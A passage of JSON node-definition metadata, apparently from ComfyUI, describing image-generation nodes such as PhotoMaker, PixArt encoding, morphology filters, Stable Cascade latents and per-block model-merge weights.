"output_matchtypes": null, "name": "PhotoMakerLoader", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_photomaker", "category": "experimental/photomaker", "output_node": false, "deprecated": false, "experimental": true, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "PhotoMakerEncode": {"input": {"required": {"photomaker": ["PHOTOMAKER", {}], "image": ["IMAGE", {}], "clip": ["CLIP", {}], "text": ["STRING", {"default": "photograph of photomaker", "multiline": true, "dynamicPrompts": true}]}}, "input_order": {"required": ["photomaker", "image", "clip", "text"]}, "is_input_list": false, "output": ["CONDITIONING"], "output_is_list": [false], "output_name": ["CONDITIONING"], "output_tooltips": [null], "output_matchtypes": null, "name": "PhotoMakerEncode", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_photomaker", "category": "experimental/photomaker", "output_node": false, "deprecated": false, "experimental": true, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "CLIPTextEncodePixArtAlpha": {"input": {"required": {"width": ["INT", {"default": 1024, "min": 0, "max": 16384}], "height": ["INT", {"default": 1024, "min": 0, "max": 16384}], "text": ["STRING", {"multiline": true, "dynamicPrompts": true}], "clip": ["CLIP", {}]}}, "input_order": {"required": ["width", "height", "text", "clip"]}, "is_input_list": false, "output": ["CONDITIONING"], "output_is_list": [false], "output_name": ["CONDITIONING"], "output_tooltips": [null], "output_matchtypes": null, "name": "CLIPTextEncodePixArtAlpha", "display_name": "CLIP Text Encode (PixArt Alpha)", "description": "Encodes text and sets the resolution conditioning for PixArt Alpha. Does not apply to PixArt Sigma.", "python_module": "comfy_extras.nodes_pixart", "category": "model/conditioning/pixart", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["pixart prompt"], "essentials_category": null, "has_intermediate_output": false}, "CLIPTextEncodeControlnet": {"input": {"required": {"clip": ["CLIP", {}], "conditioning": ["CONDITIONING", {}], "text": ["STRING", {"multiline": true, "dynamicPrompts": true}]}}, "input_order": {"required": ["clip", "conditioning", "text"]}, "is_input_list": false, "output": ["CONDITIONING"], "output_is_list": [false], "output_name": ["CONDITIONING"], "output_tooltips": [null], "output_matchtypes": null, "name": "CLIPTextEncodeControlnet", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_cond", "category": "experimental/conditioning", "output_node": false, "deprecated": false, "experimental": true, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "T5TokenizerOptions": {"input": {"required": {"clip": ["CLIP", {}], "min_padding": ["INT", {"advanced": true, "default": 0, "min": 0, "max": 10000, "step": 1}], "min_length": ["INT", {"advanced": true, "default": 0, "min": 0, "max": 10000, "step": 1}]}}, "input_order": {"required": ["clip", "min_padding", "min_length"]}, "is_input_list": false, "output": ["CLIP"], "output_is_list": [false], "output_name": ["CLIP"], "output_tooltips": [null], "output_matchtypes": null, "name": "T5TokenizerOptions", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_cond", "category": "experimental/conditioning", "output_node": false, "deprecated": false, "experimental": true, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "Morphology": {"input": {"required": {"image": ["IMAGE", {}], "operation": ["COMBO", {"multiselect": false, "options": ["erode", "dilate", "open", "close", "gradient", "bottom_hat", "top_hat"]}], "kernel_size": ["INT", {"default": 3, "min": 3, "max": 999, "step": 1}]}}, "input_order": {"required": ["image", "operation", "kernel_size"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["IMAGE"], "output_tooltips": [null], "output_matchtypes": null, "name": "Morphology", "display_name": "Apply Morphology", "description": "", "python_module": "comfy_extras.nodes_morphology", "category": "image/filters", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["erode", "dilate"], "essentials_category": null, "has_intermediate_output": false}, "ImageRGBToYUV": {"input": {"required": {"image": ["IMAGE", {}]}}, "input_order": {"required": ["image"]}, "is_input_list": false, "output": ["IMAGE", "IMAGE", "IMAGE"], "output_is_list": [false, false, false], "output_name": ["Y", "U", "V"], "output_tooltips": [null, null, null], "output_matchtypes": null, "name": "ImageRGBToYUV", "display_name": "Image RGB to YUV", "description": "", "python_module": "comfy_extras.nodes_morphology", "category": "image/color", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["color space conversion"], "essentials_category": null, "has_intermediate_output": false}, "ImageYUVToRGB": {"input": {"required": {"Y": ["IMAGE", {}], "U": ["IMAGE", {}], "V": ["IMAGE", {}]}}, "input_order": {"required": ["Y", "U", "V"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["IMAGE"], "output_tooltips": [null], "output_matchtypes": null, "name": "ImageYUVToRGB", "display_name": "Image YUV to RGB", "description": "", "python_module": "comfy_extras.nodes_morphology", "category": "image/color", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["color space conversion"], "essentials_category": null, "has_intermediate_output": false}, "StableCascade_EmptyLatentImage": {"input": {"required": {"width": ["INT", {"default": 1024, "min": 256, "max": 16384, "step": 8}], "height": ["INT", {"default": 1024, "min": 256, "max": 16384, "step": 8}], "compression": ["INT", {"advanced": true, "default": 42, "min": 4, "max": 128, "step": 1}], "batch_size": ["INT", {"default": 1, "min": 1, "max": 4096}]}}, "input_order": {"required": ["width", "height", "compression", "batch_size"]}, "is_input_list": false, "output": ["LATENT", "LATENT"], "output_is_list": [false, false], "output_name": ["stage_c", "stage_b"], "output_tooltips": [null, null], "output_matchtypes": null, "name": "StableCascade_EmptyLatentImage", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_stable_cascade", "category": "model/latent/stable cascade", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "StableCascade_StageB_Conditioning": {"input": {"required": {"conditioning": ["CONDITIONING", {}], "stage_c": ["LATENT", {}]}}, "input_order": {"required": ["conditioning", "stage_c"]}, "is_input_list": false, "output": ["CONDITIONING"], "output_is_list": [false], "output_name": ["CONDITIONING"], "output_tooltips": [null], "output_matchtypes": null, "name": "StableCascade_StageB_Conditioning", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_stable_cascade", "category": "model/conditioning/stable cascade", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "StableCascade_StageC_VAEEncode": {"input": {"required": {"image": ["IMAGE", {}], "vae": ["VAE", {}], "compression": ["INT", {"advanced": true, "default": 42, "min": 4, "max": 128, "step": 1}]}}, "input_order": {"required": ["image", "vae", "compression"]}, "is_input_list": false, "output": ["LATENT", "LATENT"], "output_is_list": [false, false], "output_name": ["stage_c", "stage_b"], "output_tooltips": [null, null], "output_matchtypes": null, "name": "StableCascade_StageC_VAEEncode", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_stable_cascade", "category": "model/latent/stable cascade", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "StableCascade_SuperResolutionControlnet": {"input": {"required": {"image": ["IMAGE", {}], "vae": ["VAE", {}]}}, "input_order": {"required": ["image", "vae"]}, "is_input_list": false, "output": ["IMAGE", "LATENT", "LATENT"], "output_is_list": [false, false, false], "output_name": ["controlnet_input", "stage_c", "stage_b"], "output_tooltips": [null, null, null], "output_matchtypes": null, "name": "StableCascade_SuperResolutionControlnet", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_stable_cascade", "category": "experimental/stable_cascade", "output_node": false, "deprecated": false, "experimental": true, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "DifferentialDiffusion": {"input": {"required": {"model": ["MODEL", {}]}, "optional": {"strength": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}]}}, "input_order": {"required": ["model"], "optional": ["strength"]}, "is_input_list": false, "output": ["MODEL"], "output_is_list": [false], "output_name": ["MODEL"], "output_tooltips": [null], "output_matchtypes": null, "name": "DifferentialDiffusion", "display_name": "Differential Diffusion", "description": "", "python_module": "comfy_extras.nodes_differential_diffusion", "category": "experimental", "output_node": false, "deprecated": false, "experimental": true, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["inpaint gradient", "variable denoise strength"], "essentials_category": null, "has_intermediate_output": false}, "InstructPixToPixConditioning": {"input": {"required": {"positive": ["CONDITIONING", {}], "negative": ["CONDITIONING", {}], "vae": ["VAE", {}], "pixels": ["IMAGE", {}]}}, "input_order": {"required": ["positive", "negative", "vae", "pixels"]}, "is_input_list": false, "output": ["CONDITIONING", "CONDITIONING", "LATENT"], "output_is_list": [false, false, false], "output_name": ["positive", "negative", "latent"], "output_tooltips": [null, null, null], "output_matchtypes": null, "name": "InstructPixToPixConditioning", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_ip2p", "category": "model/conditioning/instructpix2pix", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "ModelMergeSD1": {"input": {"required": {"model1": ["MODEL"], "model2": ["MODEL"], "time_embed.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "label_emb.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "input_blocks.0.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "input_blocks.1.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "input_blocks.2.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "input_blocks.3.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "input_blocks.4.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "input_blocks.5.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "input_blocks.6.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "input_blocks.7.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "input_blocks.8.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "input_blocks.9.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "input_blocks.10.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "input_blocks.11.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "middle_block.0.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "middle_block.1.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "middle_block.2.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "output_blocks.0.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "output_blocks.1.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "output_blocks.2.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "output_blocks.3.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "output_blocks.4.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "output_blocks.5.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "output_blocks.6.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "output_blocks.7.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "output_blocks.8.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "output_blocks.9.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "output_blocks.10.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "output_blocks.11.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "out.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}]}}, "input_order": {"required": ["model1", "model2", "time_embed.", "label_emb.", "input_blocks.0.", "input_blocks.1.", "input_blocks.2.", "input_blocks.3.", "input_blocks.4.", "input_blocks.5.", "input_blocks.6.", "input_blocks.7.", "input_blocks.8.", "input_blocks.9.", "input_blocks.10.", "input_blocks.11.", "middle_block.0.", "middle_block.1.", "middle_block.2.", "output_blocks.0.", "output_blocks.1.", "output_blocks.2.", "output_blocks.3.", "output_blocks.4.", "output_blocks.5.", "output_blocks.6.", "output_blocks.7.", "output_blocks.8.", "output_blocks.9.", "output_blocks.10.", "output_blocks.11.", "out."]}, "is_input_list": false, "output": ["MODEL"], "output_is_list": [false], "output_name": ["MODEL"], "name": "ModelMergeSD1", "display_name": "ModelMergeSD1", "description": "", "python_module": "comfy_extras.nodes_model_merging_model_specific", "category": "model/merging/model specific", "output_node": false, "has_intermediate_output": false, "search_aliases": []}, "ModelMergeSD2": {"input": {"required": {"model1": ["MODEL"], "model2": ["MODEL"], "time_embed.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "label_emb.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "input_blocks.0.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "input_blocks.1.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "input_blocks.2.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "input_blocks.3.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "input_blocks.4.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "input_blocks.5.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "input_blocks.6.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "input_blocks.7.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "input_blocks.8.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "input_blocks.9.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "input_blocks.10.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "input_blocks.11.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "middle_block.0.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "middle_block.1.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "middle_block.2.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "output_blocks.0.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "output_blocks.1.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "output_blocks.2.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "output_blocks.3.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "output_blocks.4.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "output_blocks.5.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "output_blocks.6.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "output_blocks.7.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "output_blocks.8.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "output_blocks.9.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "output_blocks.10.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "output_blocks.11.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "out.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}]}}, "input_order": {"required": ["model1", "model2", "time_embed.", "label_emb.", "input_blocks.0.", "input_blocks.1.", "input_blocks.2.", "input_blocks.3.", "input_blocks.4.", "input_blocks.5.", "input_blocks.6.", "input_blocks.7.", "input_blocks.8.", "input_blocks.9.", "input_blocks.10.", "input_blocks.11.", "middle_block.0.", "middle_block.1.", "middle_block.2.", "output_blocks.0.", "output_blocks.1.", "output_blocks.2.", "output_blocks.3.", "output_blocks.4.", "output_blocks.5.", "output_blocks.6.", "output_blocks.7.", "output_blocks.8.", "output_blocks.9.", "output_blocks.10.", "output_blocks.11.", "out."]}, "is_input_list": false, "output": ["MODEL"], "output_is_list": [false], "output_name": ["MODEL"], "name": "ModelMergeSD2", "display_name": "ModelMergeSD2", "description": "", "python_module": "comfy_extras.nodes_model_merging_model_specific", "category": "model/merging/model specific", "output_node": false, "has_intermediate_output": false, "search_aliases": []}, "ModelMergeSDXL": {"input": {"required": {"model1": ["MODEL"], "model2": ["MODEL"], "time_embed.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "label_emb.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "input_blocks.0": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "input_blocks.1": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "input_blocks.2": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "input_blocks.3": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "input_blocks.4": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "input_blocks.5": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "input_blocks.6": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "input_blocks.7": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "input_blocks.8": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "middle_block.0": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "middle_block.1": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "middle_block.2": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "output_blocks.0": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "output_blocks.1": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "output_blocks.2": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "output_blocks.3": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "output_blocks.4": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "output_blocks.5": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "output_blocks.6": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "output_blocks.7": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "output_blocks.8": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "out.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}]}}, "input_order": {"required": ["model1", "model2", "time_embed.", "label_emb.", "input_blocks.0", "input_blocks.1", "input_blocks.2", "input_blocks.3", "input_blocks.4", "input_blocks.5", "input_blocks.6", "input_blocks.7", "input_blocks.8", "middle_block.0", "middle_block.1", "middle_block.2", "output_blocks.0", "output_blocks.1", "output_blocks.2", "output_blocks.3", "output_blocks.4", "output_blocks.5", "output_blocks.6", "output_blocks.7", "output_blocks.8", "out."]}, "is_input_list": false, "output": ["MODEL"], "output_is_list": [false], "output_name": ["MODEL"], "name": "ModelMergeSDXL", "display_name": "ModelMergeSDXL", "description": "", "python_module": "comfy_extras.nodes_model_merging_model_specific", "category": "model/merging/model specific", "output_node": false, "has_intermediate_output": false, "search_aliases": []}, "ModelMergeSD3_2B": {"input": {"required": {"model1": ["MODEL"], "model2": ["MODEL"], "pos_embed.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "x_embedder.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "context_embedder.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "y_embedder.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "t_embedder.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "joint_blocks.0.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "joint_blocks.1.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "joint_blocks.2.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "joint_blocks.3.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "joint_blocks.4.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "joint_blocks.5.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "joint_blocks.6.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "joint_blocks.7.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "joint_blocks.8.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "joint_blocks.9.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "joint_blocks.10.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "joint_blocks.11.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "joint_blocks.12.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "joint_blocks.13.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "joint_blocks.14.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "joint_blocks.15.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "joint_blocks.16.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "joint_blocks.17.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "joint_blocks.18.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "joint_blocks.19.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "joint_blocks.20.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "joint_blocks.21.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "joint_blocks.22.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "joint_blocks.23.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "final_layer.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}]}}, "input_order": {"required": ["model1", "model2", "pos_embed.", "x_embedder.", "context_embedder.", "y_embedder.", "t_embedder.", "joint_blocks.0.", "joint_blocks.1.", "joint_blocks.2.", "joint_blocks.3.", "joint_blocks.4.", "joint_blocks.5.", "joint_blocks.6.", "joint_blocks.7.", "joint_blocks.8.", "joint_blocks.9.", "joint_blocks.10.", "joint_blocks.11.", "joint_blocks.12.", "joint_blocks.13.", "joint_blocks.14.", "joint_blocks.15.", "joint_blocks.16.", "joint_blocks.17.", "joint_blocks.18.", "joint_blocks.19.", "joint_blocks.20.", "joint_blocks.21.", "joint_blocks.22.", "joint_blocks.23.", "final_layer."]}, "is_input_list": false, "output": ["MODEL"], "output_is_list": [false], "output_name": ["MODEL"], "name": "ModelMergeSD3_2B", "display_name": "ModelMergeSD3_2B", "description": "", "python_module": "comfy_extras.nodes_model_merging_model_specific", "category": "model/merging/model specific", "output_node": false, "has_intermediate_output": false, "search_aliases": []}, "ModelMergeAuraflow": {"input": {"required": {"model1": ["MODEL"], "model2": ["MODEL"], "init_x_linear.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "positional_encoding": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "cond_seq_linear.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "register_tokens": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "t_embedder.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "double_layers.0.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "double_layers.1.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "double_layers.2.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "double_layers.3.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "single_layers.0.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "single_layers.1.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "single_layers.2.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "single_layers.3.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "single_layers.4.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "single_layers.5.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "single_layers.6.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "single_layers.7.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "single_layers.8.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "single_layers.9.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "single_layers.10.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "single_layers.11.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "single_layers.12.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "single_layers.13.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "single_layers.14.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "single_layers.15.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "single_layers.16.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "single_layers.17.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "single_layers.18.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "single_layers.19.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "single_layers.20.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "single_layers.21.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "single_layers.22.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "single_layers.23.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "single_layers.24.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "single_layers.25.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "single_layers.26.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "single_layers.27.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "single_layers.28.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "single_layers.29.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "single_layers.30.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "single_layers.31.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "modF.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "final_linear.": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}]}}, "input_order": {"required": ["model1", "model2", "init_x_linear.", "positional_encoding", "cond_seq_linear.", "register_tokens", "t_embedder.", "double_layers.0.", "double_layers.1.", "double_layers.2.", "double_layers.3.", "single_layers.0.", "single_layers.1.", "single_layers.2.", "single_layers.3.", "single_layers.4.", "single_layers.5.", "single_layers.6.", "single_layers.7.", "single_layers.8.", "single_layers.9.", "single_layers.10.", "single_layers.11.", "single_layers.12.", 